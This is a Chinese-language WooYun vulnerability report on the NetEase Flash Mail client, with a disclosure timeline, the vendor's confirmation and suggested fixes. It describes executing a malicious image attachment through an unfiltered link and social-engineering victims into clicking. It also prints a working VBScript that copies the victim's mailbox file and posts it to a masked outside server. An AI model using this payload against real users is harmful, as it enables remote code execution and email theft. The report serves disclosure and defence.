当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0182994

漏洞标题:网易闪电邮客户端设计缺陷可导致远程种马/邮件窃取

相关厂商:网易

漏洞作者: 数据流

提交时间:2016-03-10 16:04

修复时间:2016-06-12 13:40

公开时间:2016-06-12 13:40

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-10: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

this defect is so LOW!

详细说明:

1.jpg


首先出现的问题重点我之前提过
http://**.**.**.**/bugs/wooyun-2010-0146493
是很多邮件客户端都存在的低级问题
这漏洞是在没有客户端XSS的情况下可命令执行的漏洞,当然实际利用要结合社工。

2.jpg


a标签没有对file://进行过滤,可能会导致一些安全问题。但是就这样只能执行一些简单的程序,很鸡肋,但只要结合闪电邮的另一个缺陷就能实现真正的命令执行。

3.jpg


当客户端打开含有图片附件的邮件时,会在当前邮件的目录生成出来。
这样好像没什么不对,但是这样的话结合第一个缺陷就能执行你传过来的附件了。
发送邮件的时候添加一个图片附件,而那图片就是你的木马

4.jpg


然后再邮件正本加上a标签

<a href="attachs\cmd.exe">Click</a>

点击就执行了很弱智
客户端会生成到当前目录和attachs目录。
如果不想种马可以直接窃取邮件,优雅地利用,直接写个vbs脚本即可。
所有获取的到邮件都存在 \安装目录\account\邮箱地址\in.mbox
vbs代码:

Dim http
Set http = CreateObject("Msxml2.ServerXMLHTTP")
set fso=createobject("scripting.filesystemobject")
path = fso.GetFolder(".").Path&"/../../../account/victim的邮箱地址/in.mbox"
fso.CopyFile path,"mail.mbox",False '文件被客户端占用,Adodb.Stream不能读取要先copy
Set stm = CreateObject("Adodb.Stream")
stm.Type = 2
stm.mode = 3
stm.charset = "utf-8" 'fso不支持utf8要用Adodb.Stream读取
stm.Open
stm.LoadFromFile "mail.mbox"
mail=stm.readtext
http.open "POST","**.**.**.**/test.php", False
http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
http.send "mail="&mail

漏洞证明:

victim点击后会自动执行

6.jpg


URLdecode后就可以看到整个邮件的请求

7.jpg


结合一些社工手段。

8.jpg


9.jpg


超链接的欺骗

修复方案:

1 超链接对file://要做处理
2 附件路径要随机

版权声明:转载请注明来源 数据流@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-14 13:37

厂商回复:

您好,确认漏洞存在,产品部门将着手客户端的修复工作。感谢您对网易产品的关注。

最新状态:

暂无